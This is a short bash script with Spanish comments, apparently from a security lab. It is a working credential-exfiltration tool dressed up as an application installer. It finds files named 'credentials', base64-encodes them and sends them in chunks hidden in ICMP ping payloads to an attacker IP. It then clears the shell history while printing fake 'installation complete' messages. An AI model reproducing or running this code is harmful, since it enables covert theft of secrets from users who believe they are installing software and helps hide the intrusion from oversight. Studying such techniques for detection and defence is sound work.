#!/bin/bash

data_exfiltration_icmp() {
  ATTACKER_IP="192.168.1.143"

  # Búsqueda de credenciales
  CREDENTIALS=$(find /home/ciber -type f -name "credentials" 2>/dev/null)

  # Bucle que recorre cada archivo encontrado
  for file in $CREDENTIALS; do

    # Codifica el contenido del archivo en base64 para ofuscar la exfiltración
    DATA=$(base64 "$file" | tr -d '\n')

    # Tamaño de cada fragmento de datos
    CHUNK_SIZE=8
    # Tamaño total del payload en hexadecimal, se usará para evitar que ping rellene 
    # automáticamente repitiendo datos
    PAYLOAD_SIZE=16
    # Array donde se almacenarán los fragmentos
    CHUNKS=()

    # División del contenido en pequeños fragmentos (chunks)
    for ((i=0; i<${#DATA}; i+=CHUNK_SIZE)); do
      CHUNKS+=("${DATA:i:CHUNK_SIZE}")
    done

    # Envío de cada fragmento mediante ICMP
    for chunk in "${CHUNKS[@]}"; do
      # Convertir a hex SOLO en el momento de enviar
      hex_chunk=$(echo -n "$chunk" | xxd -p)
      # Relleno del payload con ceros hasta alcanzar un tamaño fijo
      padded_chunk=$(printf "%-${PAYLOAD_SIZE}s" "$hex_chunk" | tr ' ' '0')

      # Aquí son enviados los datos mediante paquetes ICMP
      ping -c 1 -s 8 -p "$padded_chunk" "$ATTACKER_IP" > /dev/null 2>&1
      # Pausa para evitar saturaciones
      sleep 0.2
    done
  done

}

# Función para esconder
hide_execution() {
  history -c # Elimina historial en memoria
}

echo "Iniciando instalación de la aplicación..."

sleep 5 # Espera

echo "Instalación completada con éxito"

data_exfiltration_icmp & hide_execution # Ejecución de funciones

exit 0
